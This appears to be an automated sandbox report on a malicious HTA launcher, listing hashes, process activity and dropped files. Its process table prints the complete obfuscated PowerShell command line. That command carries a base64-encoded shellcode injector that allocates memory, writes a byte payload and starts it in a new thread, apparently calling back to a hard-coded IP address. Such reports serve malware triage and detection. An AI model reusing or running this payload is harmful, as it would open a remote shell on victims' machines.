analyze malware
- Huge database of samples and IOCs
- Custom VM setup
- Unlimited submissions
- Interactive approach
| File name: | 67ec3c0f36ab65360b6205e701c8ed40850bebba13e1ba6ccd629c5afc48a7e0.Launcher.hta |
| Full analysis: | https://app.any.run/tasks/cd8fe55a-19c6-4e1b-845b-50681582691c |
| Verdict: | Malicious activity |
| Analysis date: | October 14, 2019, 15:41:23 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Indicators: | |
| MIME: | text/html |
| File info: | HTML document, ASCII text, with very long lines |
| MD5: | 6FAF4A5A4DDB86FA2416BBCC73D8928B |
| SHA1: | 94FA12C3833C32F369CF0802726A3E136A82A06F |
| SHA256: | 67EC3C0F36AB65360B6205E701C8ED40850BEBBA13E1BA6CCD629C5AFC48A7E0 |
| SSDEEP: | 192:XZtnZGidj0W3vfvJHjq2zyhmnSIOaLb1C7gwFMxQXh32Bie:XZrGidjdHvlpyhC7DHogwFiQXh32BF |
MALICIOUS
Executes PowerShell scripts
- mshta.exe (PID: 2176)
SUSPICIOUS
Creates files in the user directory
- powershell.exe (PID: 1752)
INFO
Reads internet explorer settings
- mshta.exe (PID: 2176)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
36
Monitored processes
2
Malicious processes
1
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 2176 | "C:\Windows\System32\mshta.exe" "C:\Users\admin\AppData\Local\Temp\67ec3c0f36ab65360b6205e701c8ed40850bebba13e1ba6ccd629c5afc48a7e0.Launcher.hta" | C:\Windows\System32\mshta.exe | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Exit code: 0 Version: 8.00.7600.16385 (win7_rtm.090713-1255) | ||||
| 1752 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /w 1 /C "s""v Vp -;s""v YW e""c;s""v KUP ((g""v Vp).value.toString()+(g""v YW).value.toString());powershell (g""v KUP).value.toString() ('JAB6AHAAPQAnACQAeABwAD0AJwAnAFsATAB2AEcAKAAoACIAbQBzAHYAYwByAHQALgBkACIAKwAiAGwAIgArACIAbAAiACkAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAARwBXAFkAKAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAAgAHUAaQBuAHQAIABhAG0AbwB1AG4AdAApADsAWwBMAHYARwAoACIAawBlAHIAbgBlAGwAMwAyACIAKwAiAC4AIgArACIAZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABlAEwAQwAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsATAB2AEcAKAAiAGsAZQByAG4AZQBsADMAMgAiACsAIgAuACIAKwAiAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0ACgASQBuAHQAUAB0AHIAIABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABOAGUAdwBQAHIAbwB0AGUAYwB0ACwAIABvAHUAdAAgAHUAaQBuAHQAIABkAEQAZAApADsAWwBMAHYARwAoACIAbQBzAHYAYwByAHQALgBkACIAKwAiAGwAIgArACIAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAG0AZQBtAHMAZQB0ACgASQBuAHQAUAB0AHIAIABkAGUAcwB0ACwAIAB1AGkAbgB0ACAAcwByAGMALAAgAHUAaQBuAHQAIABjAG8AdQBuAHQAKQA7ACcAJwA7ACQAeABwAD0AJAB4AHAALgByAGUAcABsAGEAYwBlACgAIgBlAEwAQwAiACwAIAAiAEMAIgArACIAcgAiACsAIgBlAGEAdABlAFQAaAByAGUAYQBkACIAKQA7ACQAeABwAD0AJAB4AHAALgByAGUAcABsAGEAYwBlACgAIgBHAFcAWQAiACwAIAAiAGMAYQAiACsAIgBsACIAKwAiAGwAbwBjACIAKQA7ACQAeABwAD0AJAB4AHAALgByAGUAcABsAGEAYwBlACgAIgBMAHYARwAiACwAIAAiAEQAbABsAEkAbQBwACIAKwAiAG8AIgArACIAcgB0ACIAKQA7ACQAcgB1AD0AIgAjAGYAYwAsACMAZQA4ACwAIwA4ADIALAAjADAAMAAsACMAMAAwACwAIwAwADAALAAjADYAMAAsACMAOAA5ACwAIwBlADUALAAjADMAMQAsACMAYwAwACwAIwA2ADQALAAjADgAYgAsACMANQAwACwAIwAzADAALAAjADgAYgAsACMANQAyACwAIwAwAGMALAAjADgAYgAsACMANQAyACwAIwAxADQALAAjADgAYgAsACMANwAyACwAIwAyADgALAAjADAAZgAsACMAYgA3ACwAIwA0AGEALAAjADIANgAsACMAMwAxACwAIwBmAGYALAAjAGEAYwAsACMAMwBjACwAIwA2ADEALAAjADcAYwAsACMAMAAyACwAIwAyAGMALAAjADIAMAAsACMAYwAxACwAIwBjAGYALAAjADAAZAAsACMAMAAxACwAIwBjADcALAAjAGUAMgAsACMAZgAyACwAIwA1ADIALAAjADUANwAsACMAOABiACwAIwA1ADIALAAjADEAMAAsACMAOABiACwAIwA0AGEALAAjADMAYwAsACMAOABiACwAIwA0AGMALAAjADEAMQAsACMANwA4ACwAIwBlADMALAAjADQAOAAsACMAMAAxACwAIwBkADEALAAjADUAMQAsACMAOABiACwAIwA1ADkALAAjADIAMAAsACMAMAAxACwAIwBkADMALAAjADgAYgAsACMANAA5ACwAIwAxADgALAAjAGUAMwAsACMAMwBhACwAIwA0ADkALAAjADgAYgAsACMAMwA0ACwAIwA4AGIALAAjADAAMQAsACMAZAA2ACwAIwAzADEALAAjAGYAZgAsACMAYQBjACwAIwBjADEALAAjAGMAZgAsACMAMABkACwAIwAwADEALAAjAGMANwAsACMAMwA4ACwAIwBlADAALAAjADcANQAsACMAZgA2ACwAIwAwADMALAAjADcAZAAsACMAZgA4ACwAIwAzAGIALAAjADcAZAAsACMAMgA0ACwAIwA3ADUALAAjAGUANAAsACMANQA4ACwAIwA4AGIALAAjADUAOAAsACMAMgA0ACwAIwAwADEALAAjAGQAMwAsACMANgA2ACwAIwA4AGIALAAjADAAYwAsACMANABiACwAIwA4AGIALAAjADUAOAAsACMAMQBjACwAIwAwADEALAAjAGQAMwAsACMAOABiACwAIwAwADQALAAjADgAYgAsACMAMAAxACwAIwBkADAALAAjADgAOQAsACMANAA0ACwAIwAyADQALAAjADIANAAsACMANQBiACwAIwA1AGIALAAjADYAMQAsACMANQA5ACwAIwA1AGEALAAjADUAMQAsACMAZgBmACwAIwBlADAALAAjADUAZgAsACMANQBmACwAIwA1AGEALAAjADgAYgAsACMAMQAyACwAIwBlAGIALAAjADgAZAAsACMANQBkACwAIwA2ADgALAAjADYAZQAsACMANgA1ACwAIwA3ADQALAAjADAAMAAsACMANgA4ACwAIwA3ADcALAAjADYAOQAsACMANgBlACwAIwA2ADkALAAjADUANAAsACMANgA4ACwAIwA0AGMALAAjADcANwAsACMAMgA2ACwAIwAwADcALAAjAGYAZgAsACMAZAA1ACwAIwAzADEALAAjAGQAYgAsACMANQAzACwAIwA1ADMALAAjADUAMwAsACMANQAzACwAIwA1ADMALAAjADYAOAAsACMAMwBhACwAIwA1ADYALAAjADcAOQAsACMAYQA3ACwAIwBmAGYALAAjAGQANQAsACMANQAzACwAIwA1ADMALAAjADYAYQAsACMAMAAzACwAIwA1ADMALAAjADUAMwAsACMANgA4ACwAIwBiAGIALAAjADAAMQAsACMAMAAwACwAIwAwADAALAAjAGUAOAAsACMAYgAwACwAIwAwADAALAAjADAAMAAsACMAMAAwACwAIwAyAGYALAAjADIAZAAsACMANwAxACwAIwAzADUALAAjADYAZAAsACMANgAxACwAIwA1ADkALAAjADQAZQAsACMANgBkACwAIwA2AGEALAAjADcAMAAsACMANwAwACwAIwA2AGIALAAjADUAMgAsACMANAA3ACwAIwA1ADYALAAjADQANgAsACMANABmACwAIwA2ADUALAAjADUAYQAsACMANQA2ACwAIwA0AGMALAAjADcANwAsACMANgBiACwAIwA0ADUALAAjADUAZgAsACMANwA2ACwAIwA0AGMALAAjADUAMwAsACMANwAyACwAIwAwADAALAAjADUAMAAsACMANgA4ACwAIwA1ADcALAAjADgAOQAsACMAOQBmACwAIwBjADY'+'ALAAjAGYAZgAsACMAZAA1ACwAIwA4ADkALAAjAGMANgAsACMANQAzACwAIwA2ADgALAAjADAAMAAsACMAMwAyACwAIwBlADAALAAjADgANAAsACMANQAzACwAIwA1ADMALAAjADUAMwAsACMANQA3ACwAIwA1ADMALAAjADUANgAsACMANgA4ACwAIwBlAGIALAAjADUANQAsACMAMgBlACwAIwAzAGIALAAjAGYAZgAsACMAZAA1ACwAIwA5ADYALAAjADYAYQAsACMAMABhACwAIwA1AGYALAAjADYAOAAsACMAOAAwACwAIwAzADMALAAjADAAMAAsACMAMAAwACwAIwA4ADkALAAjAGUAMAAsACMANgBhACwAIwAwADQALAAjADUAMAAsACMANgBhACwAIwAxAGYALAAjADUANgAsACMANgA4ACwAIwA3ADUALAAjADQANgAsACMAOQBlACwAIwA4ADYALAAjAGYAZgAsACMAZAA1ACwAIwA1ADMALAAjADUAMwAsACMANQAzACwAIwA1ADMALAAjADUANgAsACMANgA4ACwAIwAyAGQALAAjADAANgAsACMAMQA4ACwAIwA3AGIALAAjAGYAZgAsACMAZAA1ACwAIwA4ADUALAAjAGMAMAAsACMANwA1ACwAIwAxADYALAAjADYAOAAsACMAOAA4ACwAIwAxADMALAAjADAAMAAsACMAMAAwACwAIwA2ADgALAAjADQANAAsACMAZgAwACwAIwAzADUALAAjAGUAMAAsACMAZgBmACwAIwBkADUALAAjADQAZgAsACMANwA1ACwAIwBjAGQALAAjADYAOAAsACMAZgAwACwAIwBiADUALAAjAGEAMgAsACMANQA2ACwAIwBmAGYALAAjAGQANQAsACMANgBhACwAIwA0ADAALAAjADYAOAAsACMAMAAwACwAIwAxADAALAAjADAAMAAsACMAMAAwACwAIwA2ADgALAAjADAAMAAsACMAMAAwACwAIwA0ADAALAAjADAAMAAsACMANQAzACwAIwA2ADgALAAjADUAOAAsACMAYQA0ACwAIwA1ADMALAAjAGUANQAsACMAZgBmACwAIwBkADUALAAjADkAMwAsACMANQAzACwAIwA1ADMALAAjADgAOQAsACMAZQA3ACwAIwA1ADcALAAjADYAOAAsACMAMAAwACwAIwAyADAALAAjADAAMAAsACMAMAAwACwAIwA1ADMALAAjADUANgAsACMANgA4ACwAIwAxADIALAAjADkANgAsACMAOAA5ACwAIwBlADIALAAjAGYAZgAsACMAZAA1ACwAIwA4ADUALAAjAGMAMAAsACMANwA0ACwAIwBjAGQALAAjADgAYgAsACMAMAA3ACwAIwAwADEALAAjAGMAMwAsACMAOAA1ACwAIwBjADAALAAjADcANQAsACMAZQA1ACwAIwA1ADgALAAjAGMAMwAsACMANQBmACwAIwBlADgALAAjADYAOQAsACMAZgBmACwAIwBmAGYALAAjAGYAZgAsACMAMwAxACwAIwAzADkALAAjADMAMgAsACMAMgBlACwAIwAzADEALAAjADMANgAsACMAMwA4ACwAIwAyAGUALAAjADMAMQAsACMAMwA1ACwAIwAyAGUALAAjADMAMQAsACMAMwA5ACwAIwAzADkALAAjADAAMAAiADsAJABUAFcAPQBBAGQAZAAtAFQAeQBwAGUAIAAtAHAAYQBzAHMAIAAtAG0AIAAkAHgAcAAgAC0ATgBhAG0AZQAgACIAeQBvACIAIAAtAG4AYQBtAGUAcwAgAEgAagBVADsAJABUAFcAPQAkAFQAVwAuAHIAZQBwAGwAYQBjAGUAKAAiAEgAagBVACIALAAgACIAVwBpAG4AMwAyAEYAdQBuAGMAdAAiACsAIgBpACIAKwAiAG8AbgBzACIAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAHIAdQAgAD0AIAAkAHIAdQAuAHIAZQBwAGwAYQBjAGUAKAAiACMAIgAsACIAQwBVAEEAYQB4ACIAKQAuAHIAZQBwAGwAYQBjAGUAKAAiAEMAVQBBAGEAIgAsACAAIgAwACIAKQAuAFMAcABsAGkAdAAoACIALAAiACkAOwAkAGYASAA9ADAAeAAxADAAMAA2ADsAaQBmACAAKAAkAHIAdQAuAEwAIAAtAGcAdAAgADAAeAAxADAAMAA2ACkAewAkAGYASAA9ACQAcgB1AC4ATAB9ADsAJABvAG4APQAkAFQAVwA6ADoAYwBhAGwAbABvAGMAKAAwAHgAMQAwADAANgAsACAAMQApADsAWwBVAEkAbgB0ADYANABdACQAZABEAGQAIAA9ACAAMAA7AGYAbwByACgAJABsAGIAPQAwADsAJABsAGIAIAAtAGwAZQAoACQAcgB1AC4ATABlAG4AZwB0AGgALQAxACkAOwAkAGwAYgArACsAKQB7ACQAVABXADoAOgBtAGUAbQBzAGUAdAAoAFsASQBuAHQAUAB0AHIAXQAoACQAbwBuAC4AVABvAEkAbgB0ADMAMgAoACkAKwAkAGwAYgApACwAIAAkAHIAdQBbACQAbABiAF0ALAAgADEAKQB9ADsAJABUAFcAOgA6AFYAaQByAHQAdQBhAGwAUAByAG8AdABlAGMAdAAoACQAbwBuACwAIAAwAHgAMQAwADAANgAsACAAMAB4ADQAMAAsACAAWwBSAGUAZgBdACQAZABEAGQAKQA7ACQAVABXADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwAHgAMAAwACwAJABvAG4ALAAwACwAMAAsADAAKQA7ACcAOwAkAE4AUQA9AFsAQwBvAG4AdgBlAHIAdABdADoAOgBUAG8AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAegBwACkAKQA7ACQARgBYAD0AIgBwAG8AdwBlAHIAcwBoAGUAbABsACIAOwAkAHkAcwA9ACIAVwBpAG4AZABvAHcAcwAiADsAJABsAEEAZgBIACAAPQAgACIAQwA6AFwAJAB5AHMAXABzAHkAcwB3AG8AdwA2ADQAXAAkAHkAcwAkAEYAWABcAHYAMQAuADAAXAAkAEYAWAAiADsAJAB5AG8AWQBDACAAPQAgACcAVAByACIAKwAiAHUAIgArACIAZQAnADsAaQBmACgAWwBlAG4AdgBpAHIAbwBuAG0AZQBuAHQAXQA6ADoASQBzADYANABCAGkAdABPAHAAZQByAGEAdABpAG4AZwBTAHkAcwB0AGUAbQAgAC0AZQBxACAAJwAkAHkAbwBZAEMAJwApAHsAJABGAFgAPQAgACQAbABBAGYASAB9ADsAJABIAGMAPQAiACAAJABGAFgAIABiAGUAWgAgACQATgBRACIAOwAkAEgAYwA9ACQASABjAC4AcgBlAHAAbABhAGMAZQAoACIAYgBlAFoAIgAsACAAIgAtAG4AbwBlAHgAaQB0ACAALQBlACIAKQA7AGkAZQB4ACAAJABIAGMA')" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | mshta.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
Total events
307
Read events
248
Write events
0
Delete events
0
Modification events
Executable files
0
Suspicious files
2
Text files
0
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 1752 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\043TS6T0XDB7X58ADLRE.temp | — | |
MD5:— | SHA256:— | |||
| 1752 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF39a5df.TMP | binary | |
MD5:35375F3D71AE42AA9777154D256B33BF | SHA256:BCFF55E0934722E7952EA75D73AE7CE376E4ADBC73DE5E71D629975E9EAC87EF | |||
| 1752 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:35375F3D71AE42AA9777154D256B33BF | SHA256:BCFF55E0934722E7952EA75D73AE7CE376E4ADBC73DE5E71D629975E9EAC87EF | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
0
DNS requests
0
Threats
0
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report